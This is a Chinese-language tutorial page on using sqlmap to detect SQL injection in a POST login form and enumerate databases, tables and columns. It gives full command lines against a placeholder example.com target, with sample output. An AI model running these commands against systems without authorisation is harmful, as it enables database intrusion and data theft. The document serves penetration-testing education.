📜  sqlmap 枚举数据库 - Shell-Bash (1)

📅  最后修改于: 2023-12-03 15:05:20.333000             🧑  作者: Mango

使用 SQLMAP 枚举数据库

简介

在进行渗透测试时,SQL 注入是一个非常常见且危险的漏洞。SQLMAP 是一个自动化 SQL 注入工具,可以帮助我们快速地发现和利用 SQL 注入漏洞。本文将介绍如何使用 SQLMAP 枚举数据库。

步骤
1. 下载和安装 SQLMAP

SQLMAP 的下载地址为:https://github.com/sqlmapproject/sqlmap。可以通过 git 克隆仓库,也可以直接从网站下载压缩包。

安装 SQLMAP 非常简单,只需要将下载好的文件解压到任意目录即可。

2. 确认目标 URL 和参数

在使用 SQLMAP 之前,需要确认目标 URL 和相关参数。可以使用浏览器或 Burp Suite 等工具来获取。例如,假设目标 URL 为 http://example.com/login.php,用户名参数名为 username,密码参数名为 password,那么相关的 POST 请求可能为:

POST /login.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

username=admin&password=123456

在这个例子中,用户名参数名为 username,密码参数名为 password。

3. 测试是否存在 SQL 注入漏洞

使用以下命令来测试是否存在 SQL 注入漏洞:

sqlmap -u "http://example.com/login.php" --data "username=admin&password=123456" --method POST --level 1 --risk 1 --batch --string "any string that is not normally present"

其中,参数解释如下:

  • -u:目标 URL;
  • --data:POST 请求参数;
  • --method:请求方法;
  • --level:测试级别,1-5,默认为 1;
  • --risk:测试风险,1-3,默认为 1;
  • --batch:批量模式,自动使用默认选项;
  • --string:响应中所包含的字符串,用于判断是否存在漏洞。

如果 SQLMAP 发现存在 SQL 注入漏洞,会自动输出相关的信息。

4. 枚举数据库

使用以下命令来枚举数据库:

sqlmap -u "http://example.com/login.php" --data "username=admin&password=123456" --method POST --level 1 --risk 1 --batch --dbms mysql --dbs

其中,添加了以下两个参数:

  • --dbms:数据库类型;
  • --dbs:枚举数据库。

如果成功枚举出数据库,会输出类似下面的信息:

[*] available databases [2]:
[*] 1. database1
[*] 2. database2
5. 枚举数据库表

使用以下命令来枚举数据库表:

sqlmap -u "http://example.com/login.php" --data "username=admin&password=123456" --method POST --level 1 --risk 1 --batch --dbms mysql -D database1 --tables

其中,添加了以下两个参数:

  • -D:指定要枚举的数据库;
  • --tables:枚举数据库表。

如果成功枚举出数据库表,会输出类似下面的信息:

[*] Database: database1
[*] 3 tables in database1:

Table1
Table2
Table3
6. 枚举表的列

使用以下命令来枚举表的列:

sqlmap -u "http://example.com/login.php" --data "username=admin&password=123456" --method POST --level 1 --risk 1 --batch --dbms mysql -D database1 -T Table1 --columns

其中,添加了以下两个参数:

  • -T:指定要枚举的表;
  • --columns:枚举表的列。

如果成功枚举出表的列,会输出类似下面的信息:

[*] Database: database1
[*] Table: Table1
+------+-------------+
| id   | int(11)     |
| name | varchar(50) |
| age  | int(11)     |
+------+-------------+
结论

使用 SQLMAP 可以快速地发现和利用 SQL 注入漏洞,枚举数据库、表和列等信息。在进行渗透测试时,SQLMAP 是一个必备的工具,可以大大提高测试效率和准确性。